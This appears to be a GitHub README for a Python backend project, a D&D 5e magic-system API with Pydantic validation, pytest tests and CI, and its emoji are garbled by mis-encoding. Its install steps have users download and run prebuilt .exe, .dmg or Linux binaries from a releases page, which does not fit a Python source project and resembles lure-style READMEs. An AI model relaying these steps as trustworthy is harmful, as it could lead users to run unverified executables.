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🌟 probrain-grimorio-backend-devops - Your Simple Python Backend Solution

Download the latest release

πŸ“š Introduction

Welcome to probrain-grimorio-backend-devops! This project provides a backend built using Python, featuring a clear, layered architecture. We use Pydantic for data validation, automated testing with pytest, and a CI pipeline with GitHub Actions to ensure everything runs smoothly.

This README will guide you through the steps to download and run the software.

πŸš€ Getting Started

To get started with probrain-grimorio-backend-devops, follow these simple steps:

  1. System Requirements

    • Operating System: Windows, macOS, or Linux
    • Python Version: 3.8 or higher
    • Internet connection for downloading packages
  2. Core Features

    • Layered architecture for clean code organization.
    • Validation of data with Pydantic to enhance reliability.
    • Automated tests using pytest to ensure code quality.
    • Continuous Integration (CI) pipeline with GitHub Actions for automated deployment.

πŸ“₯ Download & Install

To download the latest version of probrain-grimorio-backend-devops, please visit this page to download.

  1. Click on the Releases link above.
  2. Look for the latest release version.
  3. Download the appropriate file for your operating system.

After downloading, follow these steps to install:

  • For Windows:

    • Locate the downloaded .exe file in your Downloads folder.
    • Double-click the file to start the installation.
  • For macOS:

    • Find the downloaded .dmg file in your Downloads.
    • Double-click to open it, then drag the app to your Applications folder.
  • For Linux:

    • Open your terminal.
    • Navigate to the directory where you downloaded the file.
    • Use the command chmod +x filename (replace filename with the actual file name).
    • Run the application with ./filename.

πŸ”„ Running the Application

Once the installation is complete, you can run the application easily:

  • Open the application from the Start menu (Windows), Applications folder (macOS), or terminal (Linux).
  • The backend will start, and you will see a confirmation message in your console or application window.

πŸ› οΈ Usage Instructions

You can interact with the backend through API requests. This application offers a simple interface for users to retrieve and manipulate data.

  • Example API Call: Use tools like Postman or cURL to send requests.
  • Base URL: http://localhost:8000 - this is the default URL where the backend listens for requests.

πŸ§ͺ Testing the Application

To ensure everything works as expected, you can run automated tests. Follow these steps based on your operating system:

  • For Windows:

    • Open Command Prompt.
    • Navigate to the project directory.
    • Run pytest to execute the tests.
  • For macOS and Linux:

    • Open your terminal.
    • Navigate to the project directory.
    • Run pytest to check the tests.

πŸ–₯️ Support and Contribution

If you encounter any issues, please check the issues page for solutions or to report new problems.

To contribute:

  1. Fork the repository.
  2. Create a new branch for your feature or fix.
  3. Make your changes and test them.
  4. Submit a pull request for review.

πŸ”— Additional Resources

  • Documentation: For more detailed instructions and API documentation, visit the Wiki section of the repository.
  • Community: Join discussions on the issues page and share your thoughts!

🏷️ Tags

This project is tagged with the following topics:

  • api
  • backend
  • ci
  • clean-architecture
  • github-actions
  • pydantic
  • pytest
  • python
  • software-engineering
  • tdd

πŸ“ˆ Next Steps

Now that you have installed and run the application, consider exploring the following:

  • Experiment with the API.
  • Modify the code to better fit your needs.
  • Contribute to the project.

Enjoy using probrain-grimorio-backend-devops! For more details, remember to visit this page to download the latest release.

About

πŸͺ„ Build a backend magic system for D&D 5e with validation, layered architecture, simulated persistence, caching, and observability features.

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